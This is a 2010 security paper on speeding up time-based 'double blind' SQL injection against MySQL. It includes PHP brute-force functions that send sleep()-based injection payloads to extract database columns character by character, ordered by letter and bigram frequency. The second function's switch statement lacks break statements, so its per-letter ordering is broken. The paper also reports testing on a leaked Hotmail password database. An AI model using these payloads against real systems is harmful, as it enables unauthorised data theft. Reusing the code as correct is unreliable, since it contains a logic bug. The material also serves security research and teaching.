Technique of quick exploitation of 2blind SQL Injection

# Title: Technique of quick exploitation of 2blind SQL Injection
# Date: May 4th, 2010
# Author: Dmitry Evteev (Positive Technologies), Vladimir (D0znp) Voronzov (ONSec)
# Contacts: http://devteev.blogspot.com/ (Russian); http://oxod.ru/ (Russian)


In this paper, the quickest technique of double Blind SQL Injection exploitation are collected.

    
---=[ 0x01 ] Intro

SQL Injection vulnerabilities are often detected by analyzing error messages received from the  database, but 
sometimes we cannot exploit the discovered vulnerability using classic methods  (e.g., union). Until recently, we 
had to use boring slow techniques of symbol exhaustion in such cases. But is there any need to apply an ineffective 
approach, while we have the DBMS error message?!  It can be adapted for line-by-line reading of data from a
database or a file system, and this technique will be as easy as the classic SQL Injection exploitation. It is
foolish not to take advantage of such opportunity. 

To see the value of further materials, let us delve deeply into the terminology for a while. According to the 
exploitation technique, SQL Injection vulnerabilities can be divided into three groups:

1. Classical SQL Injection;
2. Blind SQL Injection;
2.1 Error-based blind SQL Injection;
2.2 Classical blind SQL Injection;
3. Double Blind SQL Injection (2Blind SQL Injection).

In the first place, classical exploitation of SQL Injection vulnerabilities provides an opportunity to merge two SQL 
queries for the purpose of obtaining additional data from a certain table. If it is possible to conduct a classical 
SQL Injection attack, then it becomes much easier to get useful information from the database management system (DBMS). 
Attack conduction using classic technique of SQL Injection exploitation involves application of the "union" operator or 
separation of SQL queries (semicolon, ";"). However, sometimes, it is impossible to exploit an SQL Injection 
vulnerability using this technique. In such cases, a blind method of vulnerability exploitation is applied.

A blind SQL Injection vulnerability appears in the following cases:

- an attacker is not able to control data showed to user as a result of vulnerable SQL request;
- injection gets into two different SELECT queries that in turn implement selection from tables with different numbers of columns;
- filtering of query concatenation is used (e.g. WAF).

Capabilities of Blind SQL Injection are comparable with those of classical SQL Injection technique. Just like the classical 
technique of exploitation, blind SQL Injection exploitation allows one to write and read files and get data from tables, 
only the entries are read symbol-by-symbol. Classical blind exploitation is based on analysis of true/false logical expression. 
If the expression is true, then the web application will return a certain content, and if it is false, the application will 
return another content.  If we consider the difference of outputs for true and false statements in the query, we will be able 
to conduct symbol-by-symbol search for data in a table or a file.
 
In some cases, Blind SQL Injection methods are also need in situations when an application returns an DBMS error message. 
Error-Based Blind SQL Injection is the quickest technique of SQL Injection exploitation. The essence of this method is that 
various DBMSs can place some valuable information (e.g. the database version) into the error messages in case of receiving 
illegal SQL expression. This technique can be used if any error of SQL expression processing occurred in the DBMS is returned 
back by the vulnerable application.

Sometimes not only all error messages are excluded from the page returned by the web application, but the vulnerable query itself 
and request results do not influence the returned page. For example, query used for some event logging or internal optimization. 
These SQL Injection vulnerabilities are separated into independent subtype - Double Blind SQL Injection. Exploitation of Double 
Blind SQL Injection vulnerabilities uses only time delays under SQL query processing; i.e., if an SQL query is executed immediately, 
it is false, but if it is executed with an N-second delay, then it is true. The described technique provides for symbol-by-symbol 
data reading only.

---=[ 0x02 ] Double Blind SQL Injection in MySQL

Exploitation of this group of SQL Injections is based on analysis of time delays from the moment of sending a query to the web 
application till the moment of receiving the answer from it. In classical approach, the function benchmark() is applied. However, 
the function sleep() represents a better and more secure alternative, because it doesn’t use processor resources of server as the 
function benchmark() does. Here is an example of a simple implementation of symbol-by-symbol search based on analysis of time delays.

function brute($column,$table,$lim)
{
	$ret_str = "";
	$b_str = "1234567890_abcdefghijklmnopqrstuvwxyz";
	$b_arr = str_split($b_str);
	for ($i=1;$i<100;$i++)
	{
		print "[+] Brute $i symbol...\n";
		for ($j=0;$j<count($b_arr);$j++)
		{
			$brute = ord($b_arr[$j]);
			$q = "/**/and/**/if((ord(lower(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))))=$brute,sleep(6),0)--";
			if (http_connect($q))
			{
				$ret_str=$ret_str.$b_arr[$j];
				print $b_arr[$j]."\n";
				break;
			}
			print ".";
		}
		if ($j == count($b_arr)) break;
	}
	return $ret_str;
}

As one can see, alphabetical order is used in the array $b_srt to find data. The script sequentially checks every symbol from the array 
for coincidence with a symbol from the database. One can speed up the process by arranging the symbols in a more favourable order or using 
a binary tree. We should notice that to apply binary trees, it is necessary to use symbols ">" and "<", which is not always possible, because 
these symbols are often converted into HTML equivalents. Then, we still have a question – how can we find a "favorable" order of symbols being 
considered? Classical works in frequency analysis of Latin letters, which can be found in the Internet, suggest us a sequence starting with 
"e, t, a, o, n, i, s, h, r, d, l, u, c" (http://en.wikipedia.org/wiki/Frequency_analysis). If the letters are sorted according to this order, 
the number of requests sent to the web application will already decrease. However, we will go further.

---=[ 0x03 ] Not all letters are equally useful

Everything discussed above is correct, but we didn’t take into account one interesting fact: at every iteration step, we know the value of the 
previous symbol. This information is quite valuable and it is foolish not to use it. To conduct further statistical investigations, a library of 
5575 books written in English by various authors in different genres and of different sizes was downloaded (http://www.gutenberg.org/files/). The 
total data capacity is 2.15 GB, 1 761 822 605 Latin letters, or 379 009 003 English words. It was interesting to receive statistic information for 
the first letters of words. When appropriate statistic data was gathered, we obtained results that differ from the classical frequency analysis 
results. That the most popular letter to start English words with is "t"; this is the first letter for about 15% of words. First of all, it is 
because of abundance of article "the" in English texts. The next popular letter is "a", which holds the third place in the classical frequency model; 
nevertheless, the situation is still almost the same. It is much more interesting that letter "e", which is the most popular letter among all Latin 
letters in English, holds only the 16th place as the first letter of words. Thus, it is reasonable not to place this letter in the beginning of the 
array when searching, for example, for the first letter of a username. A contrary example is letter "w", which holds the 5th place among first 
letters of words, but is only 16th among all letters in words. Well, now when it became clearer with the first letter, let’s go further.

---=[ 0x04 ] Letter chains

Considering the language phonetics and syllables, we collected statistic data on two-letter combinations. This means that the probability with which one 
letter follows another one can be estimated. It’s as if letters clung to each other, this is why this technique can be called "letter chains". Such 
letter chains were collected from the whole library. Partial data is represented below. The value in the second column shows the number of two-letter 
combinations where the letter was following the given one. In the first column, the letter itself is given.

statistic of qX doubles:
a	862
c	11
b	34
e	134
d	10
g	2
f	18
i	186
h	30
k	1
j	3
m	22
l	29
o	235
n	34
q	384
p	13
s	174
r	163
u	1946692
t	61
w	60
v	166
y	56
x	25
z	12

statistic of wX doubles:
a	7786947
c	7341
b	24494
e	5872056
d	87405
g	3101
f	43828
i	6637324
h	7132332
k	28453
j	53
m	10103
l	230650
o	3988540
n	1486013
q	24
p	7517
s	482819
r	466381
u	27051
t	27903
w	82956
v	155
y	50550
x	8
z	348

Does it seem to be too tedious and not very useful? To understand how useful it is in fact, it is necessary to test the letter chains technique by 
experience. Two databases available from the Internet served as testing sets: the database of passwords of Hotmail users (about 10000 records) and 
the database of user logins from forum.searchengines.ru (about 70000 records). For each database, analogous letter chains were generated and the 
results were compared with those for the book library; the statistic data coincided in dynamics. There is no sense in representing all 26 diagrams 
here, so let us confine ourselves to giving two of them – for letters "a" and "s", which are in the top five of the most popular first letters of 
logins, passwords, and book words. Similarity of statistic data for passwords, logins, and book words is obvious. It can be also seen that logins are 
statistically more similar to book words than passwords are. Considering everything that was proposed and tested above, we can obtain a new 
statistically valid function to exploit Double blind SQL Injection:

function brute($column,$table,$lim)
{
	$ret_str = "";
	$b_str = "tashwiobmcfdplnergyuvkjqzx_1234567890";
	$b_arr = str_split($b_str);
	for ($i=1;$i<100;$i++)
	{
		if($last_ltr){
			switch ($last_ltr){
				case "q": { $b_arr = str_split("uaqoisvretwybnhlxmfpzcdjgk_1234567890");}
				case "w": { $b_arr = str_split("ahieonsrldwyfktubmpcgzvjqx_1234567890");}
				case "e": { $b_arr = str_split("rndsaletcmvyipfxwgoubqhkzj_1234567890");}
				case "r": { $b_arr = str_split("eoiastydnmrugkclvpfbhwqzjx_1234567890");}
				case "t": { $b_arr = str_split("hoeiartsuylwmcnfpzbgdjkxvq_1234567890");}
				case "y": { $b_arr = str_split("oesitamrlnpbwdchfgukzvxjyq_1234567890");}
				case "u": { $b_arr = str_split("trsnlgpceimadbfoxkvyzwhjuq_1234567890");}
				case "i": { $b_arr = str_split("ntscolmedrgvfabpkzxuijqhwy_1234567890");}
				case "o": { $b_arr = str_split("nurfmtwolspvdkcibaeygjhxzq_1234567890");}
				case "p": { $b_arr = str_split("eroaliputhsygmwbfdknczjvqx_1234567890");}
				case "l": { $b_arr = str_split("eliayodusftkvmpwrcbgnhzqxj_1234567890");}
				case "k": { $b_arr = str_split("einslayowfumrhtkbgdcvpjzqx_1234567890");}
				case "j": { $b_arr = str_split("euoainkdlfsvztgprhycmjxwbq_1234567890");}
				case "h": { $b_arr = str_split("eaioturysnmlbfwdchkvqpgzjx_1234567890");}
				case "g": { $b_arr = str_split("ehroaiulsngtymdwbfpzkxcvjq_1234567890");}
				case "f": { $b_arr = str_split("oeriafutlysdngmwcphjkbzvqx_1234567890");}
				case "d": { $b_arr = str_split("eioasruydlgnvmwfhjtcbkpqzx_1234567890");}
				case "s": { $b_arr = str_split("tehiosaupclmkwynfbqdgrvjzx_1234567890");}
				case "a": { $b_arr = str_split("ntrsldicymvgbpkuwfehzaxjoq_1234567890");}
				case "z": { $b_arr = str_split("eiaozulywhmtvbrsgkcnpdjfqx_1234567890");}
				case "x": { $b_arr = str_split("ptcieaxhvouqlyfwbmsdgnzrkj_1234567890");}
				case "c": { $b_arr = str_split("oheatikrlucysqdfnzpmgxbwvj_1234567890");}
				case "v": { $b_arr = str_split("eiaoyrunlsvdptjgkhcmbfwzxq_1234567890");}
				case "b": { $b_arr = str_split("euloyaristbjmdvnhwckgpfzxq_1234567890");}
				}
		}
		print "[+] Brute $i symbol...\n";
		for ($j=0;$j<count($b_arr);$j++)
		{
			$brute = ord($b_arr[$j]);
			$q = "/**/and/**/if((ord(lower(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))))=$brute,sleep(6),0)--";
			if (http_connect($q))
			{
				$ret_str=$ret_str.$b_arr[$j];
				print $b_arr[$j]."\n";
				$last_ltr=$b_arr[$j];
				break;
			}
			print ".";
		}
		if ($j == count($b_arr)) break;
	}
	return $ret_str;
}

---=[ 0x05 ] Reference

http://www.ptsecurity.com/download/PT-devteev-FAST-blind-SQL-Injection.pdf
http://devteev.blogspot.com/ (Russian)
http://oxod.ru/ (Russian)